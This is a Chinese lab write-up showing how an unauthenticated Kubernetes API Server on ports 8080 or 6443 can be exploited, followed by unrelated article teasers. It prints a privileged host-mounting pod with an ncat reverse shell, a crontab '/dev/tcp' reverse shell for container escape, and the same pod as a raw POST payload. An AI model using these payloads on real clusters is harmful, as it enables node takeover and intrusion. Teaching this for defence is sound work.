当前位置: 首页 > news >正文

【云安全】云原生- K8S API Server 未授权访问

API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。

8080 端口

默认情况下不启用,该端口不需要认证和授权检查。如果意外暴露(v1.20以下版本),攻击者可以直接访问集群资源,导致未授权访问。

--insecure-port 和 --insecure-bind-address 参数已经被 废弃,在 Kubernetes v1.20+ 版本中它们已经无法正常使用,尤其是 --insecure-port,只能被设置为 0,否则会导致 API Server 启动失败。

(1)攻击者发现未授权访问页面

这时便可利用Kubernetes 的命令行工具kubectl对集群运行命令
安装工具 | Kubernetes

我这里使用scoop安装kubectl工具

(2)攻击者使用kubectl工具运行以下命令进行探测

kubectl -s 192.168.48.142:8080 get nodes
kubectl -s 192.168.48.142:8080 get pods

得到类似以下信息(这里复现用的版本是v1.23.6,是借助本地代理方式实现的,其与低版本暴露8080端口是一样的效果)

(3)攻击者通过1.yaml文件自定义创建恶意POD,配置如下

参考文章 【云原生安全】Bad Pods系列基础篇-创建恶意POD - FreeBuf网络安全行业门户

apiVersion: v1
kind: Pod
metadata:name: everything-allowed-revshell-podlabels:app: pentest
spec:hostNetwork: truehostPID: truehostIPC: truecontainers:- name: everything-allowed-podimage: raesene/ncatcommand: [ "/bin/sh", "-c", "--" ]args: [ "ncat 192.168.48.138 4446 -e /bin/bash;" ]securityContext:privileged: truevolumeMounts:- mountPath: /hostname: noderoot#nodeName: master-1 #取消注释,可将master-1更改为指定节点的名称,可以强制将该Pod调度到该节点上运行。volumes:- name: noderoothostPath:path: /

创建POD命令

kubectl -s 192.168.48.142:8080 create -f 1.yaml

(4)攻击者监听,接受到shell,执行hostname,返回node2,但是容器权限

(5)写入计划任务,进行容器逃逸

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.48.1/4444 0>&1\n" >> /host/etc/crontab

(6)接受到宿主机权限

​ 

6443 端口

默认启用,并且要求认证。如果配置错误,例如将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,攻击者可能绕过认证,获得集群管理员权限,造成未授权访问。

#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous

(1)攻击者发现6443端口未授权页面

(2)使用以下命令探测验证

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get pods
kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify get nodes 

结果

(3)同之前的8080端口一样的利用方式,创建恶意POD

kubectl -s https://192.168.48.142:6443 --insecure-skip-tls-verify create -f 1.yaml

 同理,以下为POD配置内容

也可以通过POST发包的方式创建恶意POD

https://192.168.48.142:6443/api/v1/namespaces/default/pods/#POST提交:{"apiVersion":"v1","kind":"Pod","metadata":{"name":"everything-allowed-revshell-pod","namespace":"default","labels":{"app":"pentest"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"name\":\"everything-allowed-revshell-pod\",\"namespace\":\"default\",\"labels\":{\"app\":\"pentest\"}},\"spec\":{\"hostNetwork\":true,\"hostPID\":true,\"hostIPC\":true,\"containers\":[{\"name\":\"everything-allowed-pod\",\"image\":\"raesene/ncat\",\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"args\":[\"ncat 192.168.48.138 4446 -e /bin/bash;\"],\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"noderoot\"}]}}"},"spec":{"hostNetwork":true,"hostPID":true,"hostIPC":true,"containers":[{"name":"everything-allowed-pod","image":"raesene/ncat","command":["/bin/sh","-c","--"],"args":["ncat 192.168.48.138 4446 -e /bin/bash;"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"noderoot"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"noderoot"}]}}

(4)攻击者成功接受到shell,节点为node2,容器root权限。后续利用,不再累赘

因此,确保 API Server 的配置正确,避免暴露不必要的端口,并严格控制用户权限,是保障集群安全的关键。

相关文章:

【云安全】云原生- K8S API Server 未授权访问

API Server 是 Kubernetes 集群的核心管理接口,所有资源请求和操作都通过 kube-apiserver 提供的 API 进行处理。默认情况下,API Server 会监听两个端口:8080 和 6443。如果配置不当,可能会导致未授权访问的安全风险。 8080 端口…...

笔记7——条件判断

条件判断 主要通过 if、elif 和 else 语句来实现 语法结构 # if 条件1: # 条件1为真时执行的代码 # elif 条件2: # 条件1为假、且条件2为真时执行的代码 # elif 条件3: # 条件1、2为假、且条件3为真时执行的代码 # ... # else: # 所…...

Word 公式转 CSDN 插件 发布

经过几个月的苦修,这款插件终于面世了。 从Word复制公式到CSDN粘贴,总是出现公式中的文字被单独提出来,而公式作为一个图片被粘贴的情况。公式多了的时候还会导致CSDN禁止进一步的上传公式。 经过对CSDN公式的研究,发现在粘贴公…...

二次封装axios解决异步通信痛点

为了方便扩展,和增加配置的灵活性,这里将通过封装一个类来实现axios的二次封装,要实现的功能包括: 为请求传入自定义的配置,控制单次请求的不同行为在响应拦截器中对业务逻辑进行处理,根据业务约定的成功数据结构,返回业务数据对响应错误进行处理,配置显示对话框或消息形…...

算法——结合实例了解深度优先搜索(DFS)

一,深度优先搜索(DFS)详解 DFS是什么? 深度优先搜索(Depth-First Search,DFS)是一种用于遍历或搜索树、图的算法。其核心思想是尽可能深地探索分支,直到无法继续时回溯到上一个节点…...

数据结构(考研)

线性表 顺序表 顺序表的静态分配 //线性表的元素类型为 ElemType//顺序表的静态分配 #define MaxSize10 typedef int ElemType; typedef struct{ElemType data[MaxSize];int length; }SqList;顺序表的动态分配 //顺序表的动态分配 #define InitSize 10 typedef struct{El…...

使用SSE协议进行服务端向客户端主动发送消息

1.创建一个SSE配置类: 1.1代码如下:package com.campus.platform.config;import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.AsyncS…...

FastAPI 高并发与性能优化

FastAPI 高并发与性能优化 目录 🚀 高并发应用设计原则🧑‍💻 异步 I/O 优化 Web 服务响应速度⏳ 在 FastAPI 中优化异步任务执行顺序🔒 高并发中的共享资源与线程安全问题 1. 🚀 高并发应用设计原则 在构建高并发应…...

DFS+回溯+剪枝(深度优先搜索)——搜索算法

目录 一、递归 1.什么是递归? 2.什么时候使用递归? 3.如何理解递归? 4.如何写好递归? 二、记忆化搜索(记忆递归) 三、回溯 四、剪枝 五、综合试题 1.N皇后 2.解数独 DFS也就是深度优先搜索&am…...

在cursor/vscode中使用godot C#进行游戏开发

要在 Visual Studio Code(VS Code)中启动 C#Godot 项目,可以按照以下步骤进行配置: 1.安装必要的工具 • 安装 Visual Studio Code:确保你已经安装了最新版本的 VS Code。 • 安装.NET SDK:下载并安装.NET 7.x SDK(…...

vant4 van-list组件的使用

<van-listv-if"joblist && joblist.length > 0"v-model:loading"loading":finished"finished":immediate-check"false"finished-text"没有更多了"load"onLoad">// 加载 const loading ref(fals…...

介绍 Liquibase、Flyway、Talend 和 Apache NiFi:选择适合的工具

在现代软件开发中&#xff0c;尤其是在数据库管理和数据集成方面&#xff0c;选择合适的工具至关重要。本文将介绍四个流行的工具&#xff1a;Liquibase、Flyway、Talend 和 Apache NiFi&#xff0c;分析它们的应用、依赖以及如何选择适合的工具。 1. Liquibase 简介&#xff…...

攻防世界33 catcat-new【文件包含/flask_session伪造】

题目&#xff1a; 点击一只猫猫&#xff1a; 看这个url像是文件包含漏洞&#xff0c;试试 dirsearch扫出来/admin&#xff0c;访问也没成功&#xff08;--delay 0.1 -t 5&#xff09; 会的那几招全用不了了哈哈&#xff0c;那就继续看答案 先总结几个知识点 1./etc/passwd&am…...

Git -> Git配置密钥对,并查看公钥

Git密钥对的核心作用 私钥 (id_rsa) 你的数字身份证&#xff1a;存放在本机 ~/.ssh 目录下必须严格保密&#xff08;类似银行卡密码&#xff09;&#xff0c;不可泄露或共享用于 解密 来自服务器的加密信息 公钥 (id_rsa.pub) 可公开的验证锁&#xff1a;需要上传到 Git 服…...

淘宝订单列表Fragment转场动画卡顿解决方案

如何应对产品形态与产品节奏相对确定情况下转变为『在业务需求与产品形态高度不确定性的情况下&#xff0c;如何实现业务交付时间与交付质量的确定性』。我们希望通过混合架构&#xff08;Native 业务容器 Weex 2.0&#xff09;作为未来交易终端架构的重要演进方向&#xff0c…...

【ESP32指向鼠标】——icm20948与esp32通信

【ESP32指向鼠标】——icm20948与esp32通信 ICM-20948介绍 ICM-20948 是一款由 InvenSense&#xff08;现为 TDK 的一部分&#xff09;生产的 9 轴传感器集成电路。它结合了 陀螺仪、加速度计和磁力计。 内置了 DMP&#xff08;Digital Motion Processor&#xff09;即负责执…...

Xcode证书密钥导入

证书干嘛用 渠道定期会给xcode证书&#xff0c;用来给ios打包用&#xff0c;证书里面有记录哪些设备可以打包进去。 怎么换证书 先更新密钥 在钥匙串访问中&#xff0c;选择系统。(选登录也行&#xff0c;反正两个都要导入就是了)。 mac中双击所有 .p12 后缀的密钥&#xff…...

Ubuntu安装PgSQL17

参考官网教程&#xff0c;Ubuntu24 apt在线安装Postgres 17 1. 要手动配置 Apt 存储库 # 导入存储库签名密钥&#xff1a; sudo apt install curl ca-certificates sudo install -d /usr/share/postgresql-common/pgdg sudo curl -o /usr/share/postgresql-common/pgdg/apt…...

K8S容器启动提示:0/2 nodes are available: 2 Insufficient cpu.

问题&#xff1a;K8S的容器启动报错0/2 nodes are available: 2 Insufficient cpu. 原因&#xff1a;Pod的资源请求&#xff08;requests&#xff09;设置不当&#xff1a;在Kubernetes中&#xff0c;调度器根据Pod的requests字段来决定哪个节点可以运行该Pod。如果一个Pod声明…...

LabVIEW外腔二极管激光器稳频实验

本项目利用LabVIEW软件开发了一个用于外腔二极管激光器稳频实验的系统。系统能够实现激光器频率的稳定控制和实时监测&#xff0c;为激光实验提供了重要支持。 项目背景&#xff1a; 系统解决了外腔二极管激光器频率不稳定的问题&#xff0c;以满足对激光器频率稳定性要求较高…...

写了三年CRUD我觉得自己废了,直到产品经理说了一句话

2024年秋天&#xff0c;我在工位上改一个按钮的颜色。从#1890FF改成#4096FF&#xff0c;产品经理说原来的颜色「太老气了」。改完之后&#xff0c;我盯着屏幕发了十分钟的呆。不是因为这个需求有多难&#xff0c;而是我突然意识到&#xff0c;这是我今天写的第四个CSS微调了。上…...

互联网音频播放器技术演进与Xilinx可编程逻辑应用

1. 互联网音频播放器的技术演进与市场背景2000年初&#xff0c;互联网音频播放器市场正处于爆发式增长的前夜。当时最引人注目的产品当属Diamond Multimedia推出的Rio PMP-300便携式MP3播放器&#xff0c;这款设备彻底改变了人们获取和欣赏音乐的方式。作为第一代互联网音频硬件…...

3个核心功能深度解析:Recaf字节码搜索的技术实践

3个核心功能深度解析&#xff1a;Recaf字节码搜索的技术实践 【免费下载链接】Recaf The modern Java bytecode editor 项目地址: https://gitcode.com/gh_mirrors/re/Recaf Recaf是一款现代化的Java字节码编辑器&#xff0c;专为逆向工程和代码分析设计。作为一款功能强…...

comsol导出高分辨率stl文件

笔者在做毕设时想要从comsol 6.4中导出高分辨率的stl文件&#xff0c;但是发现comsol不能调节分辨率。故此&#xff0c;做以下解决措施①从comsol导出step这种通用格式文件②用solidworks打开step文件③在sw中进行featurework这种操作&#xff0c;也就是说这一步先将step文件转…...

从《飞机大战》项目倒推环境搭建:手把手教你为Python 3.8+配置Pygame开发环境(Windows版)

从《飞机大战》项目倒推环境搭建&#xff1a;手把手教你为Python 3.8配置Pygame开发环境&#xff08;Windows版&#xff09; 当你决定用Python开发一个《飞机大战》游戏时&#xff0c;第一步不是急着写代码&#xff0c;而是搭建一个能跑起来的环境。这就像盖房子前要先打地基—…...

长曜创新获数千万元 A+ 融资,Tron Ultra 割草机器人年中全球发售破行业难题

硬氪获悉&#xff0c;智能庭院机器人公司「长曜创新」近日完成数千万元 A 融资&#xff0c;此前 A 轮融资也已在 2025 年 12 月完成&#xff0c;半年累计超亿元。其最新产品 Tron Ultra 系列将在年中全球发售。融资情况与发展方向长曜创新近日完成数千万元 A 轮融资&#xff0c…...

程序员转大模型,这8个必备框架,新手也能快速落地项目

文章目录前言1. LangChain 2026&#xff1a;AI应用开发的"事实标准"&#xff0c;新手入门绕不开1.1 大白话理解LangChain1.2 2026年核心更新亮点1.3 新手快速上手代码示例1.4 避坑指南2. LlamaIndex&#xff1a;RAG专属神器&#xff0c;知识库搭建就靠它2.1 大白话理…...

深入剖析`ReentrantReadWriteLock`源码——虚拟线程时代机遇、挑战与演进

引言&#xff1a;并发范式的革命性转变 Java 21 正式引入了虚拟线程&#xff08;Virtual Threads&#xff09;&#xff0c;这标志着 Java 并发编程进入了一个全新的时代。Project Loom 的目标是让编写、维护和观测高吞吐量的并发应用程序变得如同编写顺序代码一样简单。虚拟线程…...

QMC音频转换工具终极指南:快速免费解锁加密音乐文件

QMC音频转换工具终极指南&#xff1a;快速免费解锁加密音乐文件 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 你是否曾遇到过下载的音乐文件无法在普通播放器中播放的困扰…...

中兴光猫工厂模式解锁工具:zteOnu深度技术解析与实战指南

中兴光猫工厂模式解锁工具&#xff1a;zteOnu深度技术解析与实战指南 【免费下载链接】zteOnu A tool that can open ZTE onu device factory mode 项目地址: https://gitcode.com/gh_mirrors/zt/zteOnu 中兴光猫作为广泛部署的终端设备&#xff0c;其工厂模式提供了对底…...